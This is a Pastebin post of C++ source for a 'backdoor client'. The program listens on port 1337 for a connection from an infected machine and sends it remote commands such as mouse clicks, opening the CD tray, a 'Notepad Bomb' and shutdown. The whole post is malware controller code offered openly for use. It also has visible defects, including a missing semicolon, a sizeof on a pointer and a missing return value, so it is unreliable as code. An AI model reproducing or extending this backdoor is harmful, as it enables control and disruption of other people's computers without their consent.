emS-St1ks

Simple Easy Backdoor Client by St1ks

Oct 8th, 2014
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.19 KB | None | 0 0
  1. // Simple Easy Backdoor Client by St1ks
  2. #include <winsock2.h>
  3. #include <windows.h>
  4. #include <iostream>
  5. using namespace std;
  6.  
  7. SOCKET Socket;
  8.  
  9. int ClientInitialize()
  10. {
  11.    WSADATA wsaData;
  12.    int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  13.    if ( iResult != NO_ERROR )
  14.    {
  15.        WSACleanup();
  16.  
  17.        return 0;
  18.    }
  19.  
  20.    else
  21.    {
  22.        cout << "Winsock initialized." << "\n";
  23.    }  
  24.    
  25.    Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  26.  
  27.    if (Socket == INVALID_SOCKET )
  28.    {
  29.        WSACleanup();
  30.  
  31.        return 0;
  32.    }
  33.  
  34.    else
  35.    {
  36.        cout << "Socket created." << "\n";
  37.    }
  38.      
  39.    sockaddr_in service;
  40.    service.sin_family = AF_INET;
  41.    service.sin_addr.s_addr = INADDR_ANY;
  42.    service.sin_port = htons(1337);
  43.  
  44.    if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
  45.    {
  46.        closesocket(Socket);
  47.  
  48.        return 0;
  49.    }
  50.  
  51.    else
  52.    {
  53.        cout << "Socket bound successfully." << "\n";
  54.    }  
  55.    if (listen( Socket, 1 ) == SOCKET_ERROR )
  56.        cout << "Error listening on socket." << "\n";
  57.  
  58.    SOCKET AcceptSocket;
  59.  
  60.    cout << "Waiting for a client to connect..." << "\n";
  61.        AcceptSocket = SOCKET_ERROR;
  62.        while (AcceptSocket == SOCKET_ERROR )
  63.        {
  64.            AcceptSocket = accept(Socket, NULL, NULL );
  65.        }
  66.        cout << "Client Connected."<< "\n";
  67.        Socket = AcceptSocket;
  68. }        
  69.  
  70. void Send()
  71. {
  72.    for(;;)
  73.    {
  74.      
  75.        char Choice[MAX_PATH];
  76.        cout << "List of commands:" << "\n";
  77.        cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
  78.        cout << "3. Open\\Close CD Tray\n"
  79.        cout << "4. Notepad Bomb" << "\n";
  80.        cout << "5. Shutdown." << "\n";
  81.        cout << "Take your pick: ";
  82.        cin >> Choice;
  83.        send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
  84.        char ServerResponse[MAX_PATH];
  85.        recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
  86.        cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
  87.        cout << "\n" << "\n" << "\n" << "\n" << "\n";
  88.        Sleep(2000);
  89.    }  
  90. }  
  91.  
  92. int main()
  93. {
  94.    ClientInitialize();
  95.    Send();
  96.    cin.ignore();
  97.    return 0;
  98. }
Advertisement
Add Comment
Please, Sign In to add comment